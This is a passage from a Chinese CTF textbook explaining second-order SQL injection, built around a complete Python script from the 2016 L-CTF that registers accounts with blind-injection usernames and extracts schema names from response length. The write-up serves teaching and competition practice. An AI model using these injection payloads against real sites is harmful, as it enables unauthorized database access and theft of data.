上QQ阅读APP看书,第一时间看更新
2.6 二次注入
二次注入的起因是数据在第一次入库的时候进行了一些过滤及转义,当这条数据从数据库中取出来在SQL语句中进行拼接,而在这次拼接中没有进行过滤时,我们就能执行构造好的SQL语句了。
由于二次注入的业务逻辑较为复杂,在比赛中一般很难发现,所以出题人一般会将源码放出来,或者提示本题有二次注入。
在二次注入的题目中,一般不会是单纯的二次注入,通常还会与报错注入或Bool盲注结合出题。比如,在注册页面输入的用户名在登录后才有盲注的回显,这时候我们需要自己编写脚本模拟注册及登录。
下面列举一个二次注入中包含盲注的例子(2016年西电信安协会的l-ctf),简单描述下当时的题目。存在用户的登录与注册页面,登录后可以修改用户的头像,判断注入的点也就是这个头像是否有显示。如果注册时用户名构造的Payload为真,则可以在页面收到回显的头像的地址,反之则没有。因为在测试时发现头像的链接很长,所以我们用页面返回长度来确定盲注结果,下面是当时写的漏洞利用代码,我们在代码的注释中解释了每条语句的原理:
#!/usr/bin/env python # coding: UTF-8 ( "げ ") __author__ = 'T1m0n' import requests def getdata(pos, payload_chr): ''' :param pos: 盲注点 :param payload_chr: 字符串 :return: 如果pos位置是payload_chr,则返回payload_chr,反之则返回空 ''' # 当时网络环境比较差,经常出现502的情况,当返回502或者其他信息时,使用try再次执行本函数 try: # 用户名 注意看后面的payload,这里的payload的意义为返回第一个数据库,并按位截取 user = 'zaaa\'/**/and/**/ascii(substr((SELECT/**/(SCHEMA_NAME)/**/FROM/**/information_schema.SCHEMATA/**/limit/**/0,1),%d,1))=%d/**/and/**/\'1\'=\'1'% (pos,ord(payload_chr)) # 密码,只在登录时起作用 passwd = 'aaaaaa' # 注册机登录的url url_login = 'http://web.l-ctf.com:55533/check.php' # 注册时post的数据 resign_data = { 'user': user, 'pass': passwd, 'vrtify': '1', 'typer': '0', 'register': '%E6%B3%A8%E5%86%8C', } # 负责发送注册请求 r0 = requests.post(url_login, resign_data) r0.close() # 登录刚才注册的账号 login_data = { 'user': user, 'pass': passwd, 'vrtify': '1', 'typer': '0', 'login': '%E7%99%BB%E9%99%86', } r1 = requests.post(url_login, login_data) # 截取返回头中的cookie,方便我们进入下一步的登录用户中心 cookie = r1.headers['Set-Cookie'].split(';')[0] r1.close() # 用户中心登录 url_center = 'http://web.l-ctf.com:55533/ucenter.php' headers = {'cookie': cookie} # 登录用户中心 r2 = requests.get(url_center, headers=headers) res = r2.content # 如果返回的长度大于700,则证明这个位置的字符串是正确的,并返回这个字符串;如果小于700,则返回空 if len(res) > 700: print payload_chr, ord(payload_chr) return payload_chr else: print '.', return '' except: getdata(pos, payload_chr) if __name__ == '__main__': payloads = 'abcdefghijklmnopqrstuvwxyz1234567890@_{},' res = '' for pos in range(1, 20): for payload in payloads: res += getdata(pos, payload) print res # 附上当时的注入结果 # user--lctf # database--web_200 # table -- user # column -- d,admin,pass
当然,这只是获取flag过程中的一部分,但也是关键的一部分。
在遇到类似思路比较复杂的二次注入题目的时候,我们更要冷静地分析,不断地尝试,这样才能挖到题目的考点,从而达到获取flag的目的。